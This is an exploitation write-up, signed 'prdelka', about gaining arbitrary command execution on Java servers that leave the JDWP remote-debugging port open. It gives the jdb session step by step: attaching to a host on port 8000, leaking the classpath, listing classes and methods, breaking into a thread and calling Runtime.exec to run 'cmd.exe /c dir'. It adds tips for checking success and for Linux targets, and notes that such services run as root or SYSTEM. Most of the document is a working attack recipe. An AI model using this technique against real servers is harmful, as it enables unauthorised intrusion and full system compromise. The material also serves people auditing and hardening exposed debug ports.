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JDWP Arbitrary Java Code Execution Exploitation

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  1. JDWP Arbitrary Java Code Execution Exploitation
  2. ===============================================
  3. Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for
  4. communication between a debugger and a Java Virtual Machine (JVM) as outlined in
  5. the Java Platform Debugger Architecture. It is often used to facilitate remote
  6. debugging of a JVM over TCP/IP and can be identified by the initial protocol
  7. handshake ascii string "JDWP-Handshake", sent first by the client and responded
  8. to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in
  9. Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable
  10. services. Typically this service runs on TCP port 8000 however it can be found
  11. to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on
  12. servers running Java services. It is possible to use this utility to exploit
  13. remote JVM's and execute arbitrary Java code. An example shown here outlines
  14. how to leverage this weakness to execute arbitrary host OS commands in the
  15. context of the JVM.
  16.  
  17. $ jdb -attach x.x.x.x:8000
  18. Set uncaught java.lang.Throwable
  19. Set deferred uncaught java.lang.Throwable
  20. Initializing jdb ...
  21. >
  22.  
  23. Information leaks can be leveraged to determine details about the remote OS
  24. platform and Java installation configuration through the "classpath" command.
  25.  
  26. > classpath
  27. base directory: C:\Windows\system32
  28. classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]
  29. bootclasspath: [ ** MASKED ** list of JRE paths ]
  30. >
  31.  
  32. jdb is capable of performing remote object creation and method invokation from
  33. within the CLI using the "print" "dump" and "eval" commands with the "new"
  34. keyword. To determine the classes and methods available use the "classes" and
  35. then "methods" on the corrosponding class.
  36.  
  37. > classes
  38. ...
  39. java.lang.Runtime
  40. ...
  41. > methods java.lang.Runtime
  42. ...
  43. java.lang.Runtime exec(java.lang.String[])
  44. ...
  45.  
  46. It is often necessary to set the JDB context to be within a suspended thread or
  47. breakpoint before attempting to create a new remote object class. Using the
  48. "trace go methods" function can be used to identify a candidate for a breakpoint
  49. and then "stop in your.random.class.method()" to halt the execution of a running
  50. thread. When the execution is halted you can use "print new" to create your
  51. class and invoke methods such as in the following example.
  52.  
  53. Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0
  54. threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")
  55. new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"
  56. threadname[1] cont
  57. >
  58.  
  59. Exploitation success will be determined from the output of the JDB process as
  60. functions returning "null" or errors about "unsuspended thread state" would
  61. indicate that exploitation was unsuccessful, however in the example above we can
  62. see that the java created a new object "java.lang.ProcessImpl@918502" indicating
  63. the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting
  64. to "java.lang.Runtime.getRuntime().exec()" however see the method / class
  65. enumeration when attempting to exploit this flaw.
  66.  
  67.  
  68. Your java will be executed in the context of the running JVM application, this
  69. has been identified on services running as both "root" (*nix) and "SYSTEM"
  70. (win32) in the wild.
  71.  
  72.  
  73.  -- prdelka
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